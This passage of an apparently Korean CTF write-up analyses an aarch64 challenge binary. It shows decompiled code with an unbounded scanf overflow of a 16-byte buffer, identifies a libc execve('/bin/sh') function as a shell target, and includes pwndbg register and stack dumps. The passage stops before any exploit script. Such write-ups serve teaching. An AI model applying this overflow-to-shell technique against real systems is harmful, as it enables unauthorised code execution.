</span></span><span class="line"><span class="cl">  <span class="n">setvbuf</span><span class="p">((</span><span class="n">FILE</span> <span class="o">*</span><span class="p">)</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">setvbuf</span><span class="p">((</span><span class="n">FILE</span> <span class="o">*</span><span class="p">)</span><span class="n">stderr</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">system</span><span class="p">(</span><span class="s">&#34;echo </span><span class="se">\&#39;</span><span class="s">exploit aarch64!</span><span class="se">\n\&#39;</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">run</span><span class="p">(</span><span class="n">iVar1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>system함수를 통해 <code>exploit aarch64!</code> 를 출력하고 run함수를 실행한다. run 함수를 살펴보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">run</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined1</span> <span class="n">auStack_10</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">___printf_chk</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s">&#34;input: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00467050</span><span class="p">,</span><span class="n">auStack_10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>위를 보면 16만큼 할당된 배열에 scanf를 통해 입력을 받는데 입력 길이에 대한 제한이 없다. 따라서 해당 부분에서 BoF가 발생한다.</p>
<p>처음에는 aarch64 ROP를 통해 문제를 풀려고 했는데 <code>/bin/sh</code> 문자열 검색중 다음과 같은 함수를 발견했다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">maybe_script_execute</span><span class="p">(</span><span class="n">undefined8</span> <span class="n">param_1</span><span class="p">,</span><span class="kt">long</span> <span class="o">*</span><span class="n">param_2</span><span class="p">,</span><span class="kt">char</span> <span class="o">**</span><span class="n">param_3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined1</span> <span class="o">*</span><span class="n">puVar2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined1</span> <span class="o">*</span><span class="n">puVar3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">lVar5</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">ulong</span> <span class="n">uVar6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">**</span><span class="n">__argv</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined1</span> <span class="n">auStack_60</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">local_50</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">uStack_48</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">local_38</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined1</span> <span class="o">*</span><span class="n">puVar4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">puVar3</span> <span class="o">=</span> <span class="n">auStack_60</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">puVar4</span> <span class="o">=</span> <span class="n">auStack_60</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_38</span> <span class="o">=</span> <span class="n">__stack_chk_guard</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">lVar5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">param_2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nl">LAB_00441aec</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">lVar1</span> <span class="o">=</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">param_2</span><span class="p">[</span><span class="n">lVar1</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_00441ae4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uVar6</span> <span class="o">=</span> <span class="n">lVar5</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mh">0x27</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">puVar2</span> <span class="o">=</span> <span class="n">auStack_60</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">puVar4</span> <span class="o">!=</span> <span class="n">auStack_60</span> <span class="o">+</span> <span class="o">-</span><span class="p">(</span><span class="n">uVar6</span> <span class="o">&amp;</span> <span class="mh">0xffffffffffff0000</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">puVar3</span> <span class="o">=</span> <span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x10000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0xfc00</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">puVar4</span> <span class="o">=</span> <span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x10000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">puVar2</span> <span class="o">=</span> <span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x10000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">uVar6</span> <span class="o">=</span> <span class="n">uVar6</span> <span class="o">&amp;</span> <span class="mh">0xfff0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">lVar5</span> <span class="o">=</span> <span class="o">-</span><span class="n">uVar6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="mh">0x3ff</span> <span class="o">&lt;</span> <span class="n">uVar6</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x400</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">__argv</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="o">*</span><span class="n">__argv</span> <span class="o">=</span> <span class="s">&#34;/bin/sh&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">=</span> <span class="n">param_1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_00441b9c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">goto</span> <span class="n">LAB_00441b54</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">__argv</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">__argv</span> <span class="o">=</span> <span class="s">&#34;/bin/sh&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">=</span> <span class="n">param_1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_00441b54</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nl">LAB_00441b9c</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">__argv</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">**</span><span class="p">)(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">thunk_FUN_00400270</span><span class="p">(</span><span class="n">puVar3</span> <span class="o">+</span> <span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">,</span><span class="n">param_2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span><span class="n">lVar1</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">goto</span> <span class="n">LAB_00441b58</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">__argv</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_50</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_50</span> <span class="o">=</span> <span class="s">&#34;/bin/sh&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uStack_48</span> <span class="o">=</span> <span class="n">param_1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nl">LAB_00441b54</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">__argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nl">LAB_00441b58</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">execve</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span><span class="n">__argv</span><span class="p">,</span><span class="n">param_3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nl">LAB_00441b6c</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">local_38</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* WARNING: Subroutine does not return */</span>
</span></span><span class="line"><span class="cl">  <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">__stack_chk_guard</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">local_38</span> <span class="o">-</span> <span class="n">__stack_chk_guard</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nl">LAB_00441ae4</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">lVar5</span> <span class="o">=</span> <span class="n">lVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">==</span> <span class="mh">0x7ffffffe</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_00441bd0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">goto</span> <span class="n">LAB_00441aec</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nl">LAB_00441bd0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">  <span class="n">lVar5</span> <span class="o">=</span> <span class="n">tpidr_el0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">goto</span> <span class="n">LAB_00441b6c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>간단하게 분석한 결과 함수의 파라미터로 전달된 명령을 <code>execve</code> 명령을 통해 구동시키는 코드로 단일 실행 시 <code>/bin/sh</code> 를 실행해 쉘이 떨어질 것이라 판단했다.</p>
<p><code>qemu-aarch64-static</code> 의 <code>-g</code> 옵션을 통해 디버깅 포트를 활성화 하고 gdb를 붙여 16바이트를 입력 후 스택의 주소를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pwn@f767549ec4e5:~$ qemu-aarch64-static -g <span class="m">1234</span> prob
</span></span><span class="line"><span class="cl">exploit aarch64!
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">input: aaaaaaaaaaaaaaaa
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">ni</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x00000000004007cc</span> <span class="n">in</span> <span class="n">run</span> <span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nl">LEGEND</span><span class="p">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">WX</span> <span class="o">|</span> <span class="n">RODATA</span>
</span></span><span class="line"><span class="cl"><span class="err">────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">─────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X0</span>   <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X1</span>   <span class="mh">0x49dd50</span> <span class="p">(</span><span class="n">__stack_chk_guard</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0xdfa7ef6a7643d800</span>
</span></span><span class="line"><span class="cl"> <span class="n">X2</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X3</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X4</span>   <span class="mh">0x28</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X5</span>   <span class="mh">0x18</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X6</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X7</span>   <span class="mh">0x4000008004b0</span> <span class="err">—▸</span> <span class="mh">0x400000800400</span> <span class="err">◂—</span> <span class="mh">0xffffffffff00ff00</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X8</span>   <span class="mh">0x3f</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X9</span>   <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X10</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X11</span>  <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X12</span>  <span class="mh">0xffffffc8</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X13</span>  <span class="mh">0x400000800450</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X14</span>  <span class="mh">0x3a30</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X15</span>  <span class="mh">0x4a03e8</span> <span class="p">(</span><span class="n">_IO_2_1_stdin_</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0xfbad208b</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X16</span>  <span class="mh">0x40d8a4</span> <span class="p">(</span><span class="n">_IO_default_uflow</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">stp</span> <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="o">-</span><span class="mh">0x20</span><span class="p">]</span><span class="o">!</span>
</span></span><span class="line"><span class="cl"> <span class="n">X17</span>  <span class="mh">0x417b80</span> <span class="p">(</span><span class="n">__memcpy_mops</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">X18</span>  <span class="mh">0x4a1830</span> <span class="p">(</span><span class="n">_nl_global_locale</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x49cc60</span> <span class="p">(</span><span class="n">_nl_C_LC_CTYPE</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x4698b0</span> <span class="p">(</span><span class="n">_nl_C_name</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">udf</span> <span class="err">#</span><span class="mh">0x43</span> <span class="cm">/* &#39;C&#39; */</span>
</span></span><span class="line"><span class="cl"> <span class="n">X19</span>  <span class="mi">1</span>
</span></span><span class="line"><span class="cl"> <span class="n">X20</span>  <span class="mh">0x400000800668</span> <span class="err">—▸</span> <span class="mh">0x400000800824</span> <span class="err">◂—</span> <span class="mh">0x534f4800626f7270</span> <span class="cm">/* &#39;prob&#39; */</span>
</span></span><span class="line"><span class="cl"> <span class="n">X21</span>  <span class="mi">2</span>
</span></span><span class="line"><span class="cl"> <span class="n">X22</span>  <span class="mh">0x400000800678</span> <span class="err">—▸</span> <span class="mh">0x400000800829</span> <span class="err">◂—</span> <span class="err">&#39;</span><span class="n">HOSTNAME</span><span class="o">=</span><span class="n">f767549ec4e5</span><span class="err">&#39;</span>
</span></span><span class="line"><span class="cl"> <span class="n">X23</span>  <span class="mh">0x49c2b0</span> <span class="p">(</span><span class="n">__preinit_array_start</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x4005e0</span> <span class="p">(</span><span class="n">init_have_lse_atomics</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">stp</span> <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">,</span> <span class="err">#</span><span class="o">-</span><span class="mh">0x10</span><span class="p">]</span><span class="o">!</span>
</span></span><span class="line"><span class="cl"> <span class="n">X24</span>  <span class="mi">2</span>
</span></span><span class="line"><span class="cl"> <span class="n">X25</span>  <span class="mh">0x18</span>
</span></span><span class="line"><span class="cl"> <span class="n">X26</span>  <span class="mh">0x4a6000</span> <span class="p">(</span><span class="n">__pthread_keys</span><span class="o">+</span><span class="mi">14384</span><span class="p">)</span> <span class="err">◂—</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"> <span class="n">X27</span>  <span class="mh">0x4a0020</span> <span class="err">—▸</span> <span class="mh">0x419040</span> <span class="p">(</span><span class="n">__strlen_generic</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
</span></span><span class="line"><span class="cl"> <span class="n">X28</span>  <span class="mh">0x400250</span> <span class="p">(</span><span class="n">_init</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
</span></span><span class="line"><span class="cl"> <span class="n">X29</span>  <span class="mh">0x400000800490</span> <span class="err">—▸</span> <span class="mh">0x4000008004b0</span> <span class="err">—▸</span> <span class="mh">0x400000800400</span> <span class="err">◂—</span> <span class="mh">0xffffffffff00ff00</span>
</span></span><span class="line"><span class="cl"> <span class="n">SP</span>   <span class="mh">0x400000800490</span> <span class="err">—▸</span> <span class="mh">0x4000008004b0</span> <span class="err">—▸</span> <span class="mh">0x400000800400</span> <span class="err">◂—</span> <span class="mh">0xffffffffff00ff00</span>
</span></span><span class="line"><span class="cl"> <span class="n">LR</span>   <span class="mh">0x4007cc</span> <span class="p">(</span><span class="n">run</span><span class="o">+</span><span class="mi">40</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">ldp</span> <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">],</span> <span class="err">#</span><span class="mh">0x20</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">PC</span>   <span class="mh">0x4007cc</span> <span class="p">(</span><span class="n">run</span><span class="o">+</span><span class="mi">40</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">ldp</span> <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">],</span> <span class="err">#</span><span class="mh">0x20</span>
</span></span><span class="line"><span class="cl"><span class="err">─────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">aarch64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">─────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="o">+</span> <span class="mh">0x4007c8</span> <span class="o">&lt;</span><span class="n">run</span><span class="o">+</span><span class="mi">36</span><span class="o">&gt;</span>                        <span class="n">bl</span>     <span class="n">__isoc99_scanf</span>              <span class="o">&lt;</span><span class="n">__isoc99_scanf</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mh">0x4007cc</span> <span class="o">&lt;</span><span class="n">run</span><span class="o">+</span><span class="mi">40</span><span class="o">&gt;</span>                        <span class="n">ldp</span>    <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">],</span> <span class="err">#</span><span class="mh">0x20</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x4007d0</span> <span class="o">&lt;</span><span class="n">run</span><span class="o">+</span><span class="mi">44</span><span class="o">&gt;</span>                      <span class="err">✔</span> <span class="n">ret</span>                                <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">96</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="err">↓</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x400834</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">96</span><span class="o">&gt;</span>                       <span class="n">mov</span>    <span class="n">w0</span><span class="p">,</span> <span class="err">#</span><span class="mi">0</span>                    <span class="n">W0</span> <span class="o">=&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x400838</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">100</span><span class="o">&gt;</span>                      <span class="n">ldp</span>    <span class="n">x29</span><span class="p">,</span> <span class="n">x30</span><span class="p">,</span> <span class="p">[</span><span class="n">sp</span><span class="p">],</span> <span class="err">#</span><span class="mh">0x10</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x40083c</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">104</span><span class="o">&gt;</span>                    <span class="err">✔</span> <span class="n">ret</span>                                <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">88</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="err">↓</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x4008e8</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">88</span><span class="o">&gt;</span>     <span class="n">bl</span>     <span class="n">exit</span>                        <span class="o">&lt;</span><span class="n">exit</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x4008ec</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">92</span><span class="o">&gt;</span>     <span class="n">bl</span>     <span class="n">__nptl_deallocate_tsd</span>       <span class="o">&lt;</span><span class="n">__nptl_deallocate_tsd</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x4008f0</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">96</span><span class="o">&gt;</span>     <span class="n">adrp</span>   <span class="n">x1</span><span class="p">,</span> <span class="mh">0x4a0000</span>              <span class="n">X1</span> <span class="o">=&gt;</span> <span class="mh">0x4a0000</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x4008f4</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">100</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">w0</span><span class="p">,</span> <span class="err">#</span><span class="o">-</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x4008f8</span> <span class="o">&lt;</span><span class="n">__libc_start_call_main</span><span class="o">+</span><span class="mi">104</span><span class="o">&gt;</span>    <span class="n">add</span>    <span class="n">x1</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="err">#</span><span class="mh">0x5c8</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">x29</span> <span class="n">sp</span> <span class="mh">0x400000800490</span> <span class="err">—▸</span> <span class="mh">0x4000008004b0</span> <span class="err">—▸</span> <span class="mh">0x400000800400</span> <span class="err">◂—</span> <span class="mh">0xffffffffff00ff00</span>
</span></span><span class="line"><span class="cl"><span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span>        <span class="mh">0x400000800498</span> <span class="err">—▸</span> <span class="mh">0x400834</span> <span class="p">(</span><span class="n">main</span><span class="o">+</span><span class="mi">96</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">mov</span> <span class="n">w0</span><span class="p">,</span> <span class="err">#</span><span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span>        <span class="mh">0x4000008004a0</span> <span class="err">◂—</span> <span class="err">&#39;</span><span class="n">aaaaaaaaaaaaaaaa</span><span class="err">&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span>        <span class="mh">0x4000008004a8</span> <span class="err">◂—</span> <span class="err">&#39;</span><span class="n">aaaaaaaa</span><span class="err">&#39;</span>
